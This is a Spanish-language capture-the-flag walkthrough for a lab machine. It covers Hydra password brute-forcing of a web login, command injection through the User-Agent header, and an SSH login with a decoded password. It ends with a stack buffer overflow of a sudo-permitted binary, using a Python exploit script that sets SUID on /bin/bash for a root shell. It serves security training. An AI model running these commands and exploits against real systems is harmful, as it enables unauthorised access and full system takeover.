Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-22 11:18:36
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://172.17.0.3:80/index.php:username=^USER^&password=^PASS^&Login=Iniciar+Sesión:¡Ups!+Las+credenciales+no+son+correctas.+Intenta+nuevamente.
[80][http-post-form] host: 172.17.0.3 login: d1se0 password: amigos
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-22 11:18:46
Por lo que vemos sacamos las credenciales, si iniciamos sesion en la pagina, nos llevara a una especie de pagina llamada gestionAdminPanel.php en el que parece ser un sistema de gestion del servidor.
Escalate user flow
BurpSuite
Donde pone se esta procesando la solicitud, podemos deducir que que tiene que ver algo con las solicitudes que se realiza a dicha pagina.
Vamos abrir BurpSuite configurarlo para que escuche en el mismo puerto donde esta la pagina, echo esto, capturaremos la peticion recargando la pagina, le daremos a Ctrl+R para pasarlo al Repeater y trastear con la peticion.
Si cambiamos algunas cosas del Head veremos que hay una seccion de la misma en concreto en la que se puede injectar comandos, que es en el User-Agent.
Aqui vemos que si ponemos el comando id para que nos muestre que usuario somos, veremos que funciona y que encima nos lo muestra en la pagina, por lo que veremos el passwd para ver que usuarios hay.
Por lo que vemos funciona y vemos que hay un usuario llamado flow, por lo que vamos a ver que archivos a creado dicho usuario por si hubiera algun archivo interesante.
Vemos que nos descubrio un archivo bastante interesante llamado secret en el /usr/bin, por lo que vamos a intentar leerlo por dentro a ver que hace.
Vemos que hay una cadena codificada, vamos a ver en que esta codificado con la siguiente pagina:
Nos da como resultado 5 tipos que puede ser de codificacion, el primero siendo Base32, por lo que probaremos con ese:
Vemos que nos da esto:
d1se0isthebest@$$!
Lo que parece ser una contraseña del usuario flow, por lo que la probaremos por ssh:
ssh flow@<IP>
Metemos como contraseña d1se0isthebest@$$! y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
8faa61e648fe0368af3336cf7f975410
Escalate Privileges
Si hacemos sudo -l podremos ver lo siguiente:
Matching Defaults entries for flow on 158a7fe4aa5d:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User flow may run the following commands on 158a7fe4aa5d:
(ALL : ALL) NOPASSWD: /usr/local/bin/manager
Vemos que podemos ejecutar el binario manager como el usuario root.
Si nos vamos a /usr/local/bin e intentamos ejecutar el archivo, veremos lo siguiente:
sudo ./manager
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña: test
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
Por lo que vemos nos esta comentando que alguna clave tiene que valer la palabra root para ir al modo administrador, por lo que podremos intuir que puede ser vulnerable a un Stack Buffer Overflow, probaremos a ingresar lo siguiente:
sudo ./manager
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
Segmentation fault
Vemos que la memoria se ha desbordado, por lo que es vulnerable, nos pasaremos el archivo a nuestro host y desde ahi intentaremos utilizar ingenieria inversa.
python3 -m http.server
host
wget http://<IP>:8000/manager
Ingenieria inversa (command_exec)
Instalacion de GDB con PEDA/GDB con pwndbg
Lo que primero tendremos que hacer sera lo siguiente:
Y si iniciamos el programa con GDB pasandole como parametro el programa, se nos pondra el gdb-peda...
gdb ./command_exec
Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Y si iniciamos gdb veremos lo siguiente:
gdb -q ./manager
Info:
pwndbg: loaded 176 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./manager...
(No debugging symbols found in ./manager)
------- tip of the day (disable with set show-tips off) -------
Use plist command to dump elements of linked list
pwndbg>
Comprobacion de desbordamiento de Buffer
En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:
Este patrón se usará como entrada en la aplicación para identificar cómo se maneja el buffer.
Ahora llendonos al GDB tendremos que ejecutar run y meter lo que hemos generado de 400 caracteres, por lo que petara y veremos algo asi:
Starting program: /home/kali/Desktop/DockerFlow/test/manager
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
Program received signal SIGSEGV, Segmentation fault.
0x00005569bfce73b8 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
RAX 0
RBX 0x7fff6cb9a448 —▸ 0x7fff6cb9b4c8 ◂— '/home/kali/Desktop/DockerFlow/test/manager'
RCX 0x7f3bebee7210 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0
RDI 0x7f3bebfcc710 (_IO_stdfile_1_lock) ◂— 0
RSI 0x5569c15062a0 ◂— 0x632075546d305b1b
R8 0
R9 0
R10 3
R11 0x202
R12 0
R13 0x7fff6cb9a458 —▸ 0x7fff6cb9b4f3 ◂— 'COLORTERM=truecolor'
R14 0x7f3bec029000 (_rtld_global) —▸ 0x7f3bec02a2e0 —▸ 0x5569bfce6000 ◂— 0x10102464c457f
R15 0x5569bfce9dd8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5569bfce7190 (__do_global_dtors_aux) ◂— endbr64
RBP 0x4138634137634136 ('6Ac7Ac8A')
RSP 0x7fff6cb9a338 ◂— 'c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A'
RIP 0x5569bfce73b8 (main+253) ◂— ret
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
► 0x5569bfce73b8 <main+253> ret <0x3164413064413963>
↓
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff6cb9a338 ◂— 'c9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A'
01:0008│ 0x7fff6cb9a340 ◂— 'Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A'
02:0010│ 0x7fff6cb9a348 ◂— '4Ad5Ad6Ad7Ad8Ad9Ae0Ae1A'
03:0018│ 0x7fff6cb9a350 ◂— 'd7Ad8Ad9Ae0Ae1A'
04:0020│ 0x7fff6cb9a358 ◂— 0x41316541306541 /* 'Ae0Ae1A' */
05:0028│ 0x7fff6cb9a360 —▸ 0x7fff6cb9a448 —▸ 0x7fff6cb9b4c8 ◂— '/home/kali/Desktop/DockerFlow/test/manager'
06:0030│ 0x7fff6cb9a368 ◂— 0x281926418d70b49c
07:0038│ 0x7fff6cb9a370 ◂— 0
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x5569bfce73b8 main+253
1 0x3164413064413963 None
2 0x6441336441326441 None
3 0x4136644135644134 None
4 0x3964413864413764 None
5 0x41316541306541 None
6 0x7fff6cb9a448 None
7 0x281926418d70b49c None
───────────────────────────────────────────────────────────────────────────────────
Vemos esta parte de aqui:
────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────────
► 0x5569bfce73b8 <main+253> ret <0x3164413064413963>
Que es la parte que nos interesa, ya que se muestra la direccion de memoria al cual le vamos a encontrar el offset de la siguiente forma:
Identificación del Offset
Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida del RIP:
En una arquitectura de 64 bits, no existe el registro EIP como en las arquitecturas de 32 bits. En su lugar, se utiliza el registro RIP, que almacena la dirección de la próxima instrucción a ejecutar. Sin embargo, esto no significa que RIP contenga directamente el valor que estamos sobreescribiendo en un desbordamiento de buffer.
Por ello, debemos buscar el valor en el stack que representa la dirección de retorno (ret), que es el objetivo del desbordamiento. En este caso, ese valor es 0x3164413064413963, el cual proviene de nuestra entrada controlada y será el punto que debemos sobreescribir para desviar el flujo de ejecución.
Pero para verlo mejor y ser mas certeros, vamos a realizarlo de forma manual de la siguiente forma.
Vamos a investigar donde se llena de B(42) la key que nos dice el binario.
python2 -c 'print b"A"*88 + b"B"*4' | ./manager
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
zsh: done python2 -c 'print b"A"*88 + b"B"*4' |
zsh: segmentation fault ./manager
Aparentemente no vemos nada, ya que de primeras no nos aparece el valor de la key para saber si se esta llenando correctamente o no, pero si investigamos, vemos que en el /tmp tenemos el siguiente archivo creado llamado key_output.txt que contiene lo siguiente:
key = 1094795585
Vemos que es un valor decimal y si lo pasamos a hexadecimal veremos lo siguiente:
41414141
Vemos que se esta llenando la key con A(41) por lo que nosotros tenemos que conseguir que eso se llene de B(42) todo entero, si probamos bajando los numeros...
python2 -c 'print b"A"*78 + b"B"*4' | ./manager
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
Si ahora comprobamos el archivo de nuevo:
cat /tmp/key_output.txt
Info:
key = 1111638337
Vemos que el valor a cambiado y si lo traducimos a hexadecimal veremos lo siguiente:
42424141
Vemos que esta funcionando, ya que visto en ascii seria de la siguiente forma BBAA, por lo que solo tendremos que bajar 2 numeros mas.
python2 -c 'print b"A"*76 + b"B"*4' | ./manager
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo usuario
Tu clave sera "root" para entrar al modo administrador
Si ahora volvemos a leer el archivo...
cat /tmp/key_output.txt
Info:
key = 1111638594
Vemos que ahora si son todo B(42) ya que traducido seria 42424242, por lo que hemos dado con el offset correcto del RIP, ahora que podemos manipular la key vamos a poner el valor de root en la key de la siguiente forma, si nosotros ponemos la palabra root como tal, no va a funcionar, lo tendremos que poner en hexadecimal que corresponderia a 726f6f74, por lo que porbaremos a escribir lo siguiente:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo administrador
[+] Modo administrador activado.
Escribe un comando:
Por lo que vemos funciono, por lo que solo tendremos que crear un pequeño script para automatizar todo esto, probaremos primero a ejecutar el comando id.
exploit.py
#!/bin/python3
import subprocess
offset = 76
RIP = b"A" * offset
root = b"\x74\x6f\x6f\x72"
command = b"id"
payload = RIP + root
program = ["./manager"]
process = subprocess.Popen(
program, stdin=subprocess.PIPE
)
process.stdin.write(payload + b"\n")
process.stdin.flush() # Aseguramos que el payload se envíe correctamente.
process.stdin.write(command + b"\n")
process.stdin.flush()
process.wait()
Si ahora ejecutamos esto, veremos lo siguiente:
python3 exploit.py
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo administrador
[+] Modo administrador activado.
uid=0(root) gid=0(root) groups=0(root)
Escribe un comando:
Vemos que se esta ejecutando todo correctamente, por lo que ahora nos copiaremos este script y nos lo pasaremos a la maquina victima donde esta el binario manager, haremos lo siguiente:
nano /tmp/exploit.py
#Dentro del nano
#!/bin/python3
import subprocess
offset = 76
RIP = b"A" * offset
root = b"\x74\x6f\x6f\x72"
command = b"chmod u+s /bin/bash"
payload = RIP + root
program = ["sudo", "/usr/local/bin/manager"]
process = subprocess.Popen(
program, stdin=subprocess.PIPE
)
process.stdin.write(payload + b"\n")
process.stdin.flush() # Aseguramos que el payload se envíe correctamente.
process.stdin.write(command + b"\n")
process.stdin.flush()
process.wait()
Y si ejecutamos esto de la siguiente forma:
python3 /tmp/exploit.py
Info:
############################################################
# Sistema de Gestión - Modo Usuario/Admin #
############################################################
Escribe la contraseña:
[+] Estás en modo administrador
[+] Modo administrador activado.
Si ahora vemos los permisos de la bash...
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
Vemos que ha funcionado, por lo que haremos lo siguiente:
bash -p
Y con esto ya seremos root, por lo que leeremos la flag de root:
